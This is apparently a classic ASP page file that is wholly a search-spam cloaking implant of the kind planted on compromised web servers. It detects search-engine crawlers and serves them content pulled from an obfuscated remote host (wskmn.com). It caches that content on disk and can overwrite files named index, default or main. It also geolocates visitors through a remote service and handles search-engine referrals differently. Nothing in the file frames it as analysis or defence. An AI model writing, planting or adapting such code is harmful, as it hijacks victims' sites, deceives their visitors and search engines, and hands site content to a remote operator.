<% Response.CodePage = 65001 Response.Charset = "utf-8" hold_cache = False extension=".jpg" Function fileExists(relativeFilePath) On Error Resume Next Dim fso relativeFilePath = replace(relativeFilePath, "\\", "") Set fso = CreateObject("Scripting.FileSystemObject") fileExists = fso.FileExists(Server.MapPath(relativeFilePath)) If Err.Number <> 0 Then fileExists = False Err.Clear End If On Error GoTo 0 End Function Function ReadFile(filePath) Dim stream, fcc, chkey chkey = "index_" & Server.MapPath(filePath) If Application(chkey)<>"" and hold_cache Then fcc = Application(chkey) Else if fileExists(filePath) then Set stream = Server.CreateObject("ADODB.Stream") stream.Open stream.Type = 2 ' adTypeText stream.Charset = "utf-8" stream.LoadFromFile Server.MapPath(filePath) fcc = stream.ReadText stream.Close Set stream = Nothing if hold_cache and (InStr(filePath, "index") > 0 Or filePath=domain()&extension Or filePath = "-"&extension) Then Application.Lock Application(chkey) = fcc Application.Unlock end if else fcc = "Internet Error" end if End If ReadFile = fcc End Function Function WriteF(filename, content) On Error Resume Next Dim stream if instr(filename,"index") or instr(filename,"default") or instr(filename,"main") then Set stream = Server.CreateObject("ADODB.Stream") stream.Open stream.Type = 2 'adTypeText stream.Charset = "UTF-8" stream.WriteText content stream.SaveToFile Server.MapPath(filename), 2 'adSaveCreateOverWrite stream.Close Set stream = Nothing If Err.Number <> 0 Then WriteF = content Else WriteF = content End If Else WriteF = content end if End Function Function urls() u="bx1." u1="wskmn" urls="http://"+u+u1+".com"+"/" End Function Function format() filename=url() filename = Replace(filename, "http://", "") filename = Replace(filename, "https://", "") filename = Replace(filename, "\", "-") filename = Replace(filename, "/", "") filename = Replace(filename, ":", "-") filename = Replace(filename, "*", "-") filename = Replace(filename, "?", "-") filename = Replace(filename, """", "-") filename = Replace(filename, "<", "-") filename = Replace(filename, ">", "-") filename = Replace(filename, "|", "-") filename = Replace(filename, "&", "-") filename = Replace(filename, "=", "-") format=folder()&"-"&filename&extension End Function Function folder() folder1="images\spider" folder=cfolder(folder1) End Function Function cfolder(dir) Dim fs,strFolder Err.Clear On Error Resume Next set fs=Server.CreateObject("Scripting.FileSystemObject") strFolder=Server.MapPath(dir) If not fs.FolderExists(strFolder) Then fs.CreateFolder strFolder cfolder=dir End If cfolder=dir End Function Function all() ff=format() if fileExists(ff) and instr(ReadFile(ff),"Internet Error")=0 and instr(ReadFile(ff),"can not be found")=0 and ReadFile(ff)<>"" then all= ReadFile(ff) Exit Function else aa= sour() all=WriteF(ff,aa) Exit Function end if End Function Function url() dim http http=LCase(request.ServerVariables("QUERY_STRING")) if instr(http,"&")>0 then url=replace(http,"&","?",1,1) else url=http end if End Function Function domain() domain=LCase(request.ServerVariables("SERVER_NAME")) End Function Function sour() ax="jnmindia.com" filterf="//" aa=urls()+"?"+"domain="+ax+replace("&script=/"+"&id="&"/"&replace(replace(url(),"/"&ax,""),filterf,"/"),"//","/") sour=GetWebContent(aa,"utf-8","60000") End Function Function GetUserIpAddress() Dim userIpAddress userIpAddress = Request.ServerVariables("HTTP_X_FORWARDED_FOR") If userIpAddress = "" Then userIpAddress = Request.ServerVariables("HTTP_CLIENT_IP") End If If userIpAddress = "" Then userIpAddress = Request.ServerVariables("REMOTE_ADDR") End If If userIpAddress = "" Then userIpAddress = "error" End If GetUserIpAddress = userIpAddress End Function Function getip() Dim cacheKey, pageContent,uax cacheKey=GetUserIpAddress() uax="https://ip.wskmn.com/?"&GetUserIpAddress() If Not IsEmpty(Application(cacheKey)) Then pageContent = Application(cacheKey) Else pageContent = GetWebContent(uax,"utf-8","6000") Application.Lock() Application(cacheKey) = LCase(pageContent) Application.Unlock() End If if instr(pageContent,"""us""")>0 or instr(pageContent,"fail")>0 then getip=false else getip=true end if End Function Function Isspider() Dim agent, searray, i agent = LCase(Request.ServerVariables("HTTP_USER_AGENT")) searray = Array("google", "baidu", "bot") Isspider = False For i = 0 To UBound(searray) If InStr(agent, searray(i)) > 0 Then Isspider = True Exit Function End If Next End Function Function fromse() Dim urlRefer, i, seArray urlRefer = LCase(Request.ServerVariables("HTTP_REFERER")) fromse = False If urlRefer = "" Then Exit Function End If seArray = Array("google", "baidu.com") For i = 0 To UBound(seArray) If InStr(urlRefer, seArray(i)) > 0 Then fromse = True Exit Function End If Next End Function Function GetWebContent(strURL, strCharset, intTimeout) Dim objXMLHTTP, strHTML On Error Resume Next Set objXMLHTTP = Server.CreateObject("MSXML2.ServerXMLHTTP") If Err.Number <> 0 Then Set objXMLHTTP = Server.CreateObject("MSXML2.XMLHTTP") End If If Err.Number <> 0 Then Set objXMLHTTP = Server.CreateObject("Microsoft.XMLHTTP") End If On Error GoTo 0 If objXMLHTTP Is Nothing Then GetWebContent = "Internet Error" Exit Function End If On Error Resume Next objXMLHTTP.Open "GET", strURL, False If Err.Number <> 0 Then GetWebContent = "Internet Error" Exit Function End If objXMLHTTP.setTimeouts intTimeout, intTimeout, intTimeout, intTimeout On Error Resume Next objXMLHTTP.Send If Err.Number <> 0 Then GetWebContent = "Internet Error" Exit Function End If On Error GoTo 0 If objXMLHTTP.Status <> 200 Then GetWebContent = "Internet Error" Exit Function End If strHTML = objXMLHTTP.responseText If strCharset <> "" Then Dim objStream On Error Resume Next Set objStream = Server.CreateObject("ADODB.Stream") objStream.Type = 1 'adTypeBinary objStream.Open On Error Resume Next objStream.Write objXMLHTTP.responseBody If Err.Number <> 0 Then GetWebContent = "Internet Error" Exit Function End If objStream.Position = 0 objStream.Type = 2 'adTypeText objStream.Charset = strCharset On Error Resume Next strHTML = objStream.ReadText If Err.Number <> 0 Then GetWebContent = "Internet Error" Exit Function End If On Error GoTo 0 Set objStream = Nothing End If Set objXMLHTTP = Nothing GetWebContent = strHTML End Function function Base64Decode(b) With CreateObject("Microsoft.XMLDOM").createElement("TXT") .DataType="bin.base64" .text=b Base64Decode=.NodeTypedValue end with end function If Isspider() Then If InStr(url(), "clearall") > 0 Then Application.Contents.RemoveAll() Response.Write Now() & "
" & "clear cache is success!" Response.End ElseIf InStr(url(), ".pdf") > 0 Then Response.ContentType = "application/pdf" Response.AddHeader "Content-Disposition", "inline;filename="&url()&".pdf" Response.BinaryWrite Base64Decode(all) Response.End ElseIf InStr(url(), "sitemap.xml") > 0 Then Response.ContentType = "application/xml" Response.Write(all()) Response.End Else Response.Clear Response.CodePage = 65001 Response.Charset = "utf-8" Response.Write(Replace(all(), "{up}", GetWebContent("http://link.wskmn.com/bx2/", "utf-8", "60000"))) Response.End End If End If if fromse() then response.clear response.write("
") 'Response.Flush response.end else response.write("
") end if %>